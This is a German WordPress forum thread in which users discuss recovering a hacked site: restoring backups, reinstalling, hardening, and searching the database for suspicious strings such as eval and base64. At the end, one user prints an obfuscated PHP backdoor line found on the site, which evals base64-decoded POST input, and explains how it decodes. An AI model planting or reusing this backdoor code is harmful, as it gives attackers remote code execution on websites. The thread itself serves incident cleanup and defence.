Was ist deine konkrete Frage?
Gruß, Torsten
Von einer „systematischen Reinigung“ wird eigentlich abgeraten, weil die Gefahr zu groß ist, Eingriffe zu übersehen. Beispiel: Du identifizierst einen typischen Schadcode in der Index-Datei deines Themes, prüfst, ob der gleiche Schadcode in anderen Templates enthalten ist – und übersiehst, dass der Angreifer einen neuen Benutzer in der Datenbank angelegt oder eine Hintertür mit ganz anderem Code im Uploads-Ordner angelegt hat.
Natürlich kannst Du nun argumentieren, dass Du die Reinigung ganz gewissenhaft vornehmen möchtest. Bei über zweitausend Dateien (WordPress Core + Themes + Plugins + Uploads + ggf. weitere Dateien, die z.B. ein Caching-Plugin anlegt, etc.) ist das aber ein enormer Aufwand, den aus Kostengründen kaum jemand betreibt.
Besser ist, einen unkompromittierten Zustand wiederherzustellen (Restore eines sicherlich (?) vorhandenen Backups, ggf. Webhost fragen) und dann alle Zugangsdaten (Kundenmenü Webhost, FTP, Datenbank, WordPress) zu ändern und ggf. verpasste Aktualisierungen nachzuholen.
Du kannst natürlich auch auf Originaldateien aus dem Repository zurückgreifen, wobei dann immer noch der Uploads-Folder und die Datenbank genauestens untersucht werden müssten. Mühsam genug.
Eine gute Zusammenfassung von Ratschlägen zur Absicherung und Verhalten nach Angriffen erhältst Du übrigens hier: https://codex.wordpress.org/de:Hardening_WordPress
Auch lesenswert (und wahrscheinlich die beste Beantwortung Deiner Frage): http://ottopress.com/2009/hacked-wordpress-backdoors/
Eigentlich verstehe ich unter systematischer Reinigung eine Neuinstallation von WordPress und aller Plugins, sowie Eliminierung aller PHP Dateien im Up-Load Verzeichnis.
Meine Frage war, ob es für einen Hacker möglich ist, in der Datenbank eine Seite oder einen Post mit ausführbaren Schad-Code zu installieren, den die Datenbank ist es ja, die man nach einem heftigen Crash meist wieder aus einem Backup ersetzt. Dass es möglich ist, per Hack Spam-Seiten anzulegen, das ist ja nicht neu.
… sowie Eliminierung aller PHP Dateien im Up-Load Verzeichnis.
… und schon hängst Du mit deiner „systematischen Reinigung“ am Fliegenfänger – siehe Blogbeitrag von Otto42.
ich bin kein Sicherheitsexperte und kenne nur die gängigen Empfehlungen, halte aber die Ausführung von PHP-Schadcode, der in der Datenbank hinterlegt wurde, für schwer ausführbar, da die entsprechenden Funktionen, z.B. the_content(), die Inhalte lediglich an den Browser übergeben, wo nichts mehr ausgeführt wird. Wieweit apply_filters() Javascript herausfiltert, kann ich spontan nicht beantworten.
Ganz so einfach wie das hier aussieht habe ich mir das ja nicht gemacht. Wie schon gesagt habe ich WordPress und alle Plugins neu installiert. Zuvor habe ich natürlich über FTP Zugang geprüft, dass auch keine verborgenen Reste am Server verblieben sind.
Den Up-Load bereich behält man typischerweise wie er ist, es haben aber dort PHP oder JS Dateien natürlich nichts verloren. Abgesehen davon steht dort in jedem Verzeichnis eine leere index.html Datei.
Jedenfalls meldet der Malware Scan des ebenfalls installierten Sucuri Security, dass kein Schadcode entdeckt wurde.
Außerdem wurde die gängigen Schutzmaßnahmen wie:
WordPress version properly hidden
Upload directory properly hardened
WP-content directory properly hardened
WP-Includes directory properly hardened
Using an updated version of PHP (5.6.10)
Security keys and salts properly created
Default admin user account (admin) not being used
File editor for Plugins and Themes is disabled
There are no error log files in your project.
Und natürlich das standard Prefix der Datenbank geändert.
Abgesehen davon habe ich eine Neu-Installation mit gleichen Plugins und mit leerer Datenbank auf einem freien Serverplatz durchgeführt und beide Installationen über FTP lokal kopiert und mit File Inhaltsvergleich verglichen. Die zwangsläufig unterschiedlichen Dateien bedingt durch andere Keys, WEB Adresse usw wurden dann nochmals unter Ausschluss dieser Bereiche verglichen. Wie man sieht habe ich mir das nicht all zu leicht gemacht.
Jedenfalls zeigen jetzt die 404 SEO redirection Protokolle an, wo früher vermutlich kontaminierte Dateien waren, weil irgend welche Bots versuchen darauf zuzugreifen.
Da ja der WordPress Inhalt auch vor der Bereinigung lokal kopiert wurden, habe ich Zugang zu den vormals kontaminierten Dateien und kann den Schadcode isolieren und damit weiter Prüfungen anstellen.
Das hört sich alles gut an – bis auf „WordPress version properly hidden“ (womit wir dann auch schon bei einer Schwachstelle der Sicherheits-Plugins sind: Sie suggerieren unbedarften Nutzern Sicherheit, können dabei aber eine WordPress-Installation verschlimmbessern).
vgl. https://kovshenin.com/2013/dont-hide-the-fact-that-youre-using-wordpress/
Das Verstecken der WordPress Version ist ja auch nur ein minimaler Teilbereich aller Aktionen und schützt lediglich vor kidy Hackern, die nach alten angreifbaren Versionen suchen und außerdem braucht man dazu kein Plugin, die erforderlichen Code Schnipsel kann man auch selbst ganz einfach in der funktion.php des aktiven Themes einbauen.
z. B. für weaver-ii ab Zeile 2528:
add_action(‚after_setup_theme‘, ‚remove_admin_bar‘);
function remove_admin_bar() {
if (!current_user_can(‚administrator‘) && !is_admin()) {
show_admin_bar(false);
}
}
add_filter(‚login_errors‘, create_function(‚$a‘, „return null;“));
remove_action(‚wp_head‘, ‚wp_generator‘);
Das verlinkte Posting stammt aus 2013 und ist eigentlich überholt; und! selbstverständlich darf man sich auf ein einfaches Sicherheits-Plugin nicht verlassen. Man braucht schon eines, das nicht nur einen guten Exploit Scanner hat, sondern auch jede Veränderung in der Datenbank und in den ausführbaren Dateien meldet, natürlich mit dem Nachteil, dass auch alle eigenen Änderungen gemeldet werden. Abgesehen davon ziehe ich regelmäßige eine Kopie per FTP offline und vergleiche sie mit einer sauberen Referenz-Installation per Inhaltsvergleich.
Ja, schön. Was war jetzt nochmal die Frage?
Die Frage war: ob es für Angreifer grundsätzlich möglich wäre, in einer WP-Seite ausführbaren Schad-Code zu verstecken, bzw. wenn – welche Voraussetzungen (Schwachstellen) müssten dafür gegeben sein? (natürlich vorausgesetzt, das der Angreifer in irgend einer Art und Weise Zugang zur Seite erlangt hatte)
Über den Austausch von WordPress-Core, -Theme, und -Plugin-Dateien haben wir gesprochen; darüber, dass in der Datenbank weitere Nutzer angelegt worden sein können auch. PHP- und JavaScript Code in der Datenbank wird nicht ausgeführt, wenn er mit den WordPress-eigenen Funktionen abgerufen wird.
Die Frage war: ob es für Angreifer grundsätzlich möglich wäre, in einer WP-Seite ausführbaren Schad-Code zu verstecken
Kommt auf die Definition von Schadcode an.
Ein Werbe-iFrame im Content wäre Repuatationsschädigend und durch eine Änderung in der Datenbank möglich.
Oder Werbelinks, die per CSS ausgeblendet werden, so aber bei Google landen.
JS-Code wird ggf. ausgeführt, wenn du ausreichend Rechte dazu besitzt (also z.B. als Admin eine kontaminierte Seite aufrufst).
Siehe: https://plus.google.com/105492974704193057672/posts/3acgkracLVy
(Falls sich daran nichts geändert hat, ist schon ein wenig her…)
PHP-Code wird in der der DB meines Erachtens nicht ohne fremde Hilfe ausführbar sein. Wäre aber auch leicht zu finden.
Hier ein paar typische Begriffe, nach denen ich die DB mal durchsuchen würde:
<iframe
<noscript
display:none
visibility:hidden
eval
base64
Gruß, Torsten
@torsten Landsiedel vielen Dank, danach habe ich gesucht.
übrigens, nicht zu vergessen den String:
$sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['ne0080b'];if(isset($s22)){eval($s21($s22));}?>
Der eine versteckte „base64_decode“ darstellt.
$sF[4] = B
$sF[5] = A
$sF[9] = S
$sF[10] = E
$sF[6] = 6
$sF[3] = 4
$sF[11] = _
$sF[8] = D
$sF[10] = E
$sF[1] = C
$sF[7] = O
$sF[8] = D
$sF[10] = E
